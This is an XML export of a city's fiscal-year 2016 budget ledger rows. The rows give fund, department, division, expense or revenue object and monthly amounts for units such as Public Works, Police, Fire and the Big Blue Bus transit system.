<row _id="18989"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>25</fund_id><fund_name>Water Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>671</division_id><division_name>WATER</division_name><object>555200.0</object><object_description>REIMBURSE ENGINEERING OFFICE</object_description><category_code>866.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>30546</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>30546</total></row>
<row _id="18990"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>307</division_id><division_name>CRIMINAL INVESTIGATION DIV</division_name><object>555060.0</object><object_description>PROFESSIONAL SERVICES</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>1234</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>1234</total></row>
<row _id="18991"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>202</division_id><division_name>CITY MANAGER - ADMINISTRATION</division_name><object>588060.0</object><object_description>MOTOR VEHICLES</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>0</total></row>
<row _id="18992"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>401311.0</object><object_description>CONTRACT CLASSES</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2016</fiscal_year><july>-1110000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-1110000</total></row>
<row _id="18993"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>59</fund_id><fund_name>Self-insur, Workers' Comp Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>235</division_id><division_name>WORKER'S COMPENSATION</division_name><object>522180.0</object><object_description>BANK FEES</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>6000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>6000</total></row>
<row _id="18994"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>224</division_id><division_name>REVENUE DIVISION</division_name><object>523000.0</object><object_description>VEHICLE MGMT FUND-MAINTENANCE</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>0</total></row>
<row _id="18995"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>522</division_id><division_name>BEACH ADMINISTRATION</division_name><object>401270.0</object><object_description>LEASED BEACH CONCESSIONS</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2016</fiscal_year><july>-681441</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-681441</total></row>
<row _id="18996"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>34</fund_id><fund_name>Stormwater Management Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>695</division_id><division_name>INTERFUND TRANSACTIONS</division_name><object>577890.0</object><object_description>MWD RECYCLED WATER REBATE</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>-11045</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-11045</total></row>
<row _id="18997"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>25</fund_id><fund_name>Water Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>695</division_id><division_name>INTERFUND TRANSACTIONS</division_name><object>577890.0</object><object_description>MWD RECYCLED WATER REBATE</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>11045</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>11045</total></row>
<row _id="18998"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>4</fund_id><fund_name>Special Revenue Source Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>695</division_id><division_name>INTERFUND TRANSACTIONS</division_name><object>570130.0</object><object_description>GF/SPEC FD REIM. AHPP DEV FEE</object_description><category_code>910.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>61713</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>61713</total></row>
<row _id="18999"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>642</division_id><division_name>TRANSIT FINANCE AND GRANTS</division_name><object>402000.0</object><object_description>PASSENGER REVENUE</object_description><category_code>650.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2016</fiscal_year><july>-15601360</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-15601360</total></row>
<row _id="19000"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>642</division_id><division_name>TRANSIT FINANCE AND GRANTS</division_name><object>407020.0</object><object_description>PROP C TRANSIT SECURITY</object_description><category_code>658.0</category_code><category_code_description>Sales Tax</category_code_description><fiscal_year>2016</fiscal_year><july>-1098619</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-1098619</total></row>
<row _id="19001"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>642</division_id><division_name>TRANSIT FINANCE AND GRANTS</division_name><object>407030.0</object><object_description>PROP C FOOTHILL MITIGATION</object_description><category_code>658.0</category_code><category_code_description>Sales Tax</category_code_description><fiscal_year>2016</fiscal_year><july>-566352</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-566352</total></row>
<row _id="19002"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>321</division_id><division_name>BUILDING AND SAFETY</division_name><object>522910.0</object><object_description>VEHICLES - FUELS / LUBRICATION</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>218</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>218</total></row>
<row _id="19003"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>27</fund_id><fund_name>Resource Recovery &amp; Recyc Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>441</division_id><division_name>RESOURCE RECOVERY &amp; RECYCLING</division_name><object>407410.0</object><object_description>CONSTRUCTION &amp; DEMOLITION</object_description><category_code>650.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2016</fiscal_year><july>-620000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-620000</total></row>
<row _id="19004"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>120</department_id><department_name>RECORDS &amp; ELECTION SERVICES</department_name><division_id>211</division_id><division_name>R &amp; ES(CITY CLERK)-ADMIN</division_name><object>577140.0</object><object_description>DISABILITY ACCOMODATIONS</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>300</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>300</total></row>
<row _id="19005"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>30</fund_id><fund_name>Pier Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>695</division_id><division_name>INTERFUND TRANSACTIONS</division_name><object>578530.0</object><object_description>TRANSFER FROM GENERAL FUND</object_description><category_code>908.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>-515812</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-515812</total></row>
<row _id="19006"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>312</division_id><division_name>FIRE - ADMINISTRATION</division_name><object>407550.0</object><object_description>FIRE COMMERCIAL INSPECT FEES</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2016</fiscal_year><july>-600916</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-600916</total></row>
<row _id="19007"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>511490.0</object><object_description>OVERTIME</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>6203</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>6203</total></row>
<row _id="19008"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>511500.0</object><object_description>TEMPORARY EMPLOYEES</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>60236</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>60236</total></row>
<row _id="19009"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>314</division_id><division_name>FIRE PREVENTION</division_name><object xsi:nil="true" /><object_description>UNEMPLOYMENT</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>8521</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>8521</total></row>
<row _id="19010"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>120</department_id><department_name>RECORDS &amp; ELECTION SERVICES</department_name><division_id>212</division_id><division_name>R &amp; ES(CITY CLERK)-ELECTIONS</division_name><object>401020.0</object><object_description>ELECTION-SMUSD/SMCCD/RC</object_description><category_code>610.0</category_code><category_code_description>Intergovernmental</category_code_description><fiscal_year>2016</fiscal_year><july>-190000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-190000</total></row>
<row _id="19011"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>140</department_id><department_name>CITY ATTORNEY</department_name><division_id>231</division_id><division_name>CITY ATTORNEY</division_name><object>533580.0</object><object_description>COMPUTER EQUIP/SOFTWARE MAINT</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>13818</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>13818</total></row>
<row _id="19012"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>25</fund_id><fund_name>Water Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>671</division_id><division_name>WATER</division_name><object>555210.0</object><object_description>TRAINING</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>20767</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>20767</total></row>
<row _id="19013"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>31</fund_id><fund_name>Wastewater Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>661</division_id><division_name>WASTEWATER</division_name><object>555210.0</object><object_description>TRAINING</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>0</total></row>
<row _id="19014"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>416</division_id><division_name>TRANS ENGINEERING &amp; MGMT</division_name><object>522320.0</object><object_description>METERED POSTAGE</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>1142</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>1142</total></row>
<row _id="19015"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>522</division_id><division_name>BEACH ADMINISTRATION</division_name><object>400750.0</object><object_description>INT DEP / INVESTMENT</object_description><category_code>616.0</category_code><category_code_description>Investment Income</category_code_description><fiscal_year>2016</fiscal_year><july>-200000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-200000</total></row>
<row _id="19016"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>522</division_id><division_name>BEACH ADMINISTRATION</division_name><object>401260.0</object><object_description>BEACH PARKING</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2016</fiscal_year><july>-10200000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-10200000</total></row>
<row _id="19017"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>140</department_id><department_name>CITY ATTORNEY</department_name><division_id>231</division_id><division_name>CITY ATTORNEY</division_name><object>522950.0</object><object_description>CNG FUEL</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>124</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>124</total></row>
<row _id="19018"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>417</division_id><division_name>PARKING OPERATIONS</division_name><object>511000.0</object><object_description>PERMANENT EMPLOYEES</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>568497</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>568497</total></row>
<row _id="19019"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>417</division_id><division_name>PARKING OPERATIONS</division_name><object>522950.0</object><object_description>CNG FUEL</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>1113</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>1113</total></row>
<row _id="19020"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>417</division_id><division_name>PARKING OPERATIONS</division_name><object>544110.0</object><object_description>PRINTED FORMS</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>37740</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>37740</total></row>
<row _id="19021"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>640</division_id><division_name>TRANSIT EXECUTIVE</division_name><object>511000.0</object><object_description>PERMANENT EMPLOYEES</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>992237</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>992237</total></row>
<row _id="19022"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>501</division_id><division_name>ADMINISTRATION &amp; PLANNING SVCS</division_name><object>555180.0</object><object_description>PHOTOGRAPHIC EXPENSE</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>208</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>208</total></row>
<row _id="19023"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>30</fund_id><fund_name>Pier Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>623</division_id><division_name>HARBOR UNIT</division_name><object>555210.0</object><object_description>TRAINING</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>2043</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>2043</total></row>
<row _id="19024"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>31</fund_id><fund_name>Wastewater Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>661</division_id><division_name>WASTEWATER</division_name><object>577090.0</object><object_description>REIMBURSE WATER FUND</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>409126</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>409126</total></row>
<row _id="19025"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>307</division_id><division_name>CRIMINAL INVESTIGATION DIV</division_name><object>544170.0</object><object_description>UNIFORM / PROTECTIVE CLOTHING</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>10358</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>10358</total></row>
<row _id="19026"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>613</division_id><division_name>ADMIN. AND FACILITIES</division_name><object>400430.0</object><object_description>LIBRARY FEES</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2016</fiscal_year><july>-3500</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-3500</total></row>
<row _id="19027"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>34</fund_id><fund_name>Stormwater Management Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>661</division_id><division_name>WASTEWATER</division_name><object>402730.0</object><object_description>SMURRF-CITY OF LA-O &amp; M</object_description><category_code>650.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2016</fiscal_year><july>-74400</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-74400</total></row>
<row _id="19028"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>202</division_id><division_name>CITY MANAGER - ADMINISTRATION</division_name><object>555060.0</object><object_description>PROFESSIONAL SERVICES</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>300000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>300000</total></row>
<row _id="19029"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>120</department_id><department_name>RECORDS &amp; ELECTION SERVICES</department_name><division_id>214</division_id><division_name>R &amp; ES(CITY CLERK)-SUPP SCVS</division_name><object>523000.0</object><object_description>VEHICLE MGMT FUND-MAINTENANCE</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>4417</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>4417</total></row>
<row _id="19030"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>100</department_id><department_name>CITY COUNCIL</department_name><division_id>201</division_id><division_name>CITY COUNCIL</division_name><object>533640.0</object><object_description>CONF / MTGS / TRAVEL-TW</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>3089</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>3089</total></row>
<row _id="19031"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>555850.0</object><object_description>PROGRAM SUPPLIES</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>6490</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>6490</total></row>
<row _id="19032"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>555010.0</object><object_description>CONTRACTUAL SERVICES</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>29232</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>29232</total></row>
<row _id="19033"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>555850.0</object><object_description>PROGRAM SUPPLIES</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>9885</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>9885</total></row>
<row _id="19034"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>224</division_id><division_name>REVENUE DIVISION</division_name><object>555210.0</object><object_description>TRAINING</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>0</total></row>
<row _id="19035"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>27</fund_id><fund_name>Resource Recovery &amp; Recyc Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>441</division_id><division_name>RESOURCE RECOVERY &amp; RECYCLING</division_name><object>407630.0</object><object_description>CONSTRUCTION &amp; DEMO PERMIT FEE</object_description><category_code>650.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2016</fiscal_year><july>-316100</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-316100</total></row>
<row _id="19036"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>224</division_id><division_name>REVENUE DIVISION</division_name><object>544390.0</object><object_description>OTHER COSTS</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>0</total></row>
<row _id="19037"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>312</division_id><division_name>FIRE - ADMINISTRATION</division_name><object>511772.0</object><object_description>RETIREMENT - FIRE</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>414158</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>414158</total></row>
